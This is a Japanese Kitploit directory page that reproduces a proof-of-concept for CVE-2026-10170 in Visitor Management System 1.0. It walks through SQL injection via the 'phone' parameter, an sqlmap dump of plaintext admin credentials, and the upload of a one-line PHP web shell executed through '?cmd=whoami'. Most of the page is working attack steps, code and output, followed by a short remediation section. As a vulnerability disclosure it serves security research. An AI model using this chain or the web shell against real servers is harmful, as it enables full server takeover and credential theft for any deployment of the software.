Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-10170-RCE — Visitor Management System 1.0におけるSQLインジェクションと無制限ファイルアップロードを連鎖させてリモートコード実行を達成することを実証する概念実証で、段階的な悪用手順と是正ガイダンスを含みます。 | Kitploit
ツール/GitHubGitHub/xmyronn/cve-2026-10170-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubxmyronn/cve-2026-10170-rce

CVE-2026-10170-RCE

Visitor Management System 1.0におけるSQLインジェクションと無制限ファイルアップロードを連鎖させてリモートコード実行を達成することを実証する概念実証で、段階的な悪用手順と是正ガイダンスを含みます。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Visitor Management System 1.0 - SQLiからリモートコード実行への攻撃チェーン

脆弱性情報

フィールド詳細
製品Visitor Management System
ベンダーcode-projects.org
バージョン1.0
脆弱性クラスSQLインジェクション (CWE-89) + 無制限ファイルアップロード (CWE-434)
CVE ID未確定
CVSSスコア9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
認証要件低権限(ガードアカウント)をエントリーポイントとして使用
影響を受けるファイル/vms/php/pass.php, /vms/php/admin_user_0.php
脆弱性パラメータphone (POST)

説明

code-projects.org製のVisitor Management System 1.0は、SQLインジェクションと無制限ファイルアップロードを組み合わせた重大な攻撃チェーンに対して脆弱であり、リモートコード実行につながります。

低権限アクセス(ガードアカウント)を持つ攻撃者は、pass.phpのphone POSTパラメータを介したSQLインジェクション脆弱性を悪用して、データベース全体(平文の管理者認証情報を含む)をダンプできます。抽出した認証情報を使用して管理者として認証した後、攻撃者はAdmin User管理パネル(admin_user_0.php)を通じてPHPウェブシェルをアップロードできます。このパネルはファイルタイプや拡張子の検証を一切行いません。アップロードされたウェブシェルはWebアクセス可能なディレクトリに保存され、URL経由で直接実行できるため、サーバー上で完全なリモートコード実行が可能になります。

さらに、パスワードはデータベースに平文で保存されているため、SQLiダンプ後にクラッキングの手順は不要です。


攻撃チェーン概要

root@kitploit:~
低権限ガードログイン
        ↓
pass.phpでのSQLインジェクション(phoneパラメータ)
        ↓
sqlmapダンプ → 平文の管理者認証情報を抽出
        ↓
管理者としてログイン(sanjay1:7861)
        ↓
admin_user_0.phpでの無制限ファイルアップロード
        ↓
PHPウェブシェルを /vms/php/folder/ にアップロード
        ↓
?cmd=whoami によるRCE → サーバー完全侵害

ステップバイステップの概念実証

ステップ1 — 低権限ユーザー(ガード)としてログイン

VMSアプリケーションに移動し、ガード認証情報でログインします。ログイン後、電話番号ページに移動します:

root@kitploit:~
http://<TARGET>/vms/php/phone_0.php
Screenshot 2026-05-05 034206

ステップ2 — pass.phpでのSQLインジェクションを確認

電話番号の値としてシングルクォート'を送信します。アプリケーションは生のクエリとファイルパスを公開する致命的なMariaDBエラーをスローします:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '2026-05-05'' at line 1 in 
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')

影響を受けるファイル: pass.php 9行目
脆弱性パラメータ: phone (POST)

Screenshot 2026-05-05 034215

sql error Screenshot 2026-05-05 034228


ステップ3 — sqlmapでSQLiを悪用

Burp Suiteでキャプチャしたリクエストをファイル(sqli.txt)に保存し、sqlmapを実行します:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

sqlmapはvmsデータベースのlogin_userテーブルを正常にダンプし、全ユーザーの平文認証情報を明らかにします:

root@kitploit:~
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image   | phone      | name    | user  | gender | password | username  |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1  | <blank> | 8146905071 | sanjay  | guard | male   | 786      | sanjay123 |
| 2  | <blank> | 8146905071 | sanjay1 | admin | male   | 7861     | sanjay1   |
+----+---------+------------+---------+-------+--------+----------+-----------+

注:パスワードは平文で保存されています — ハッシュクラッキングは不要です。

Screenshot 2026-05-05 034316

ステップ4 — 管理者としてログイン

抽出した管理者認証情報を使用して、管理パネルにログインします:

root@kitploit:~
Username: sanjay1
Password: 7861

従業員、部門、Admin User、レポート管理を含む完全な管理者ダッシュボードにアクセスできるようになります。

Screenshot 2026-05-05 034353

ステップ5 — Admin Userパネル経由でPHPウェブシェルをアップロード

Admin User管理ページに移動します:

root@kitploit:~
http://<TARGET>/vms/php/admin_user_0.php

このページにはプロフィール画像用のファイルアップロードフィールドがあります。アプリケーションはファイルタイプの検証、拡張子のフィルタリング、MIMEタイプのチェックを一切行いません。

フォームに任意の値を入力し、画像ファイルとして以下のPHPウェブシェルをアップロードします(web2_command.php):

root@kitploit:~
<?php echo shell_exec($_GET['cmd']); ?>
Screenshot 2026-05-05 034416

ステップ6 — ウェブシェルのアップロードを確認

Admin User表示ページに移動します:

root@kitploit:~
http://<TARGET>/vms/php/admin_display_0.php

新しく作成された管理者アカウントがテーブルに表示されます。アップロードされたウェブシェルは以下に保存されます:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php
Screenshot 2026-05-05 034429

ステップ7 — リモートコード実行

ウェブシェルを介して任意のシステムコマンドを実行します:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami

結果: サーバーは現在のシステムユーザーを返し、完全なリモートコード実行を確認します:

root@kitploit:~
desktop-g1i9np3\dell
Screenshot 2026-05-05 034438

影響

  • データベース完全侵害 — SQLiにより平文認証情報を含む全テーブルがダンプされる
  • 管理者アカウント乗っ取り — 平文パスワードはクラッキング不要
  • リモートコード実行 — Webサーバーユーザーとして任意のOSコマンドを実行
  • サーバー完全侵害 — 基盤となるホストの完全な制御
  • 平文パスワード保存 — SQLiの影響を増幅し、認証情報を即座に使用可能

影響を受けるファイルの概要

ファイル脆弱性
/vms/php/pass.phpphone POSTパラメータを介したSQLインジェクション
/vms/php/admin_user_0.php無制限ファイルアップロード — 拡張子またはMIME検証なし
/vms/php/folder/ウェブシェル保存ディレクトリ — Webアクセス可能、制限なし

修復策

SQLインジェクション対策:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();

ファイルアップロード対策:

  • 許可する拡張子をホワイトリスト化(jpg、png、gifのみ)
  • サーバーサイドでMIMEタイプを検証
  • アップロードファイルをWebルート外に保存
  • アップロードされたファイルをランダムな文字列にリネーム

パスワード保存対策:

  • password_hash()とpassword_verify()を使用 — 平文で保存しない

参考情報

  • ベンダーホームページ
  • CWE-89: SQLインジェクション
  • CWE-434: 危険なタイプのファイルの無制限アップロード
  • OWASPファイルアップロードチートシート

発見者

  • 研究者: Imad Alvi
  • VulDB: imad alvi
ツールをダウンロード